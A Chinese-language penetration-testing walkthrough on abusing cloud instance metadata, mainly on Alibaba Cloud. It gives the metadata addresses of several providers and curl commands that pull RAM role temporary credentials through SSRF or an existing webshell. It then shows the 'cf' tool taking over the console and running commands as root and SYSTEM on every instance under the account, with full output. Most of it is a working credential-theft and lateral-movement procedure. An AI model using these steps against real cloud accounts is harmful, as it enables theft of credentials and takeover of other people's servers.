元数据解释:
实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信息:实例ID、IP地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文档和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份。)
各大云元数据地址:
阿里云元数据地址:http://100.100.100.200/ 腾讯云元数据地址:http://metadata.tencentyun.com/ 华为云元数据地址:http://169.254.169.254/ 亚马云元数据地址:http://169.254.169.254/ 微软云元数据地址:http://169.254.169.254/ 谷歌云元数据地址:http://metadata.google.internal/
细节方面可通过访问官网找元数据访问触发说明,阿里云示例: https://help.aliyun.com/zh/ecs/user-guide/manage-instance-metadata
这里是否启用实例元数据访问通道是默认开启的
创建RAM用户并添加相关测试权限
授予RAM角色,实例绑定RAM角色将授予实例该角色所拥有的所有权限
思路就是通过拿到的一台云服务器获取ecs用户临时凭证,进行该RAM用户下其他服务器的横向
-弹性计算配置访问控制角色 -SSRF漏洞或已取得某云服务器权限(webshell或漏洞rce可以访问触发url)
-获取关键信息
curl http://100.100.100.200/latest/meta-data/
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
-获取临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs
此时这个临时凭证的权限就是RAM用户创建时的被授予的权限
这里斥巨资开了三台服务器进行演示 同一RAM管理
cf工具访问配置
一键列出当前访问凭证的权限
一键接管控制台
这里也是直接登陆接管
一键列出当前访问凭证的云服务资源
一键命令执行
C:\Users\xxxxxx\Desktop\工具\cf_v0.5.0_windows_amd64>cf alibaba ecs exec -b
? 选择一个实例 (Choose a instance): 全部实例 (all instances)
1 i-2ze00ghuljor8w95rlsu (launch-advisor-20231012) > whoami && id && hostname && ifconfig
root
uid=0(root) gid=0(root) groups=0(root)
iZ2ze00ghuljor8w95rlsuZ
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.69.152 netmask 255.255.240.0 broadcast 172.22.79.255
inet6 fe80::216:3eff:fe2e:823b prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:2e:82:3b txqueuelen 1000 (Ethernet)
RX packets 89310 bytes 132214717 (126.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7650 bytes 669146 (653.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2 bytes 140 (140.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 140 (140.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
2 i-2ze387xap5u9w3plim4w (launch-advisor-20231012) > whoami && hostname && ipconfig
nt authority\system
iZp5u9w3plim4wZ
Windows IP 配置
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::4dc3:a60d:1f10:54b3%4
IPv4 地址 . . . . . . . . . . . . : 172.22.69.151
子网掩码 . . . . . . . . . . . . : 255.255.240.0
默认网关. . . . . . . . . . . . . : 172.22.79.253
3 i-2ze7ixs89bnm9ofchpso (launch-advisor-20231012) > whoami && id && hostname && ifconfig
root
uid=0(root) gid=0(root) groups=0(root)
iZ2ze7ixs89bnm9ofchpsoZ
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.69.150 netmask 255.255.240.0 broadcast 172.22.79.255
inet6 fe80::216:3eff:fe36:8720 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:36:87:20 txqueuelen 1000 (Ethernet)
RX packets 2300 bytes 1160685 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2296 bytes 288204 (281.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
不过对方服务器会告警emmmm:
搭建靶场太麻烦了,原理就是利用ssrf请求带外回显出临时凭证,其他操作同上
默认不开启外网连接,所以安全性较高,
开通外网连接进行测试
源码配置中找到(几率高)或爆破手段(几率低)
-白名单&外网 直接Navicat支持连接
-内网需要其中内网某一个服务器做转发 遇到了再来补